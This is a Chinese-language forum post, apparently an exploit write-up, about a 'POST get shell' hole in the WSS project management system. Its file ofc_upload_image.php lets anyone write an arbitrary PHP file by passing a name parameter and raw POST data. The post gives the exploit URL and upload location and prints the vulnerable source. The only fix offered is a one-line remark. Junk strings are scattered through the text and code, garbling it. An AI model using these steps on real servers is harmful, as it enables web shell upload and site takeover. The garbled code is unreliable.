WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
" s1 v! r$ t/ g2 l/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
4 d9 C" K. e/ G3 j; F# k: P) n
/ }  [% Q2 ?. m" t6 o2 u6 m" nPost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php

1 m3 V8 w. E$ e  ]+ M
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
% v2 s5 K' U4 l/ Q$ W2 q- _. A
<?php

//
) U( o% z8 |0 t8 I2 d" \6 P// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
: N1 l' w& Z4 E+ _- o//

4 o6 H- F% o/ w% g- L# y# J/*

print_r( $_GET );
print_r( $_POST );
) n% o+ z/ P# V0 u$ A8 P* m" Rprint_r( $_FILES );

print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

1 w1 J- N6 ]; U& y1 ^0 f. I; k0 V, g*/
6 {4 u. [/ J9 h+ g// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
% b* I1 K5 q0 K9 b# ~  w1 W$destination = $default_path . basename( $_GET[ 'name' ] );
! q5 x: I' T3 a( s8 F5 ^0 H
echo 'Saving your image to: '. $destination;
9 E: D$ S/ X; X/ b& F% e0 y// print_r( $_POST );
// print_r( $_SERVER );
4 U$ b% G, k1 H" k8 [2 a3 T// echo $HTTP_RAW_POST_DATA;
' |. o' D' M: ~* M' H* |& a1 i
2 v& j; s, r2 H, ^- k7 ?//
4 Q/ K- k0 n3 i% y* ^$ v// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
( y! [* ?3 f- r: I6 Y3 u6 @6 O// the raw bits into $HTTP_RAW_POST_DATA
//

( t: c' ~9 {6 H/ m/ C/ `- L+ h* m( B$jfh = fopen($destination, 'w') or die("can't open file");
: y+ K4 Z0 \9 L) Rfwrite($jfh, $HTTP_RAW_POST_DATA);
5 L# t  r  \7 C* z0 k* j/ q% _fclose($jfh);

# p: X. D4 e7 ^& `$ L//
3 n& {3 v" I+ I' y3 X7 S3 P# p// LOOK:
2 Y7 H/ ]# h0 s6 @- a//
exit();
//
// PHP5:
' x# _6 T% I; F% G//
$ d! U2 \, }9 x- @5 ~3 ~! p1 U
+ M# E' f6 g# K
. y/ ^5 k* F# b$ {  `- L, S; T// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
/ G6 |; f1 _) s+ s+ Q
if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
6 e4 [- n9 q) S9 N. @    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
    echo "FILE UPLOAD FAILED";
}


! z; O$ z/ z0 d$ J; ]8 Z  J?>

1 ^7 q$ J: X7 o0 S: ]+ R
( }/ j+ _& m8 n9 u0 X; x
' W3 l  u& u! _( F3 B: R


; l, n2 [. {5 u* b. ?修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞


7 a: g' N& @  H5 a  j( f( @+ V; Q
$ \/ [! L& U. {; ]% K
0 f4 f' i1 K7 n( a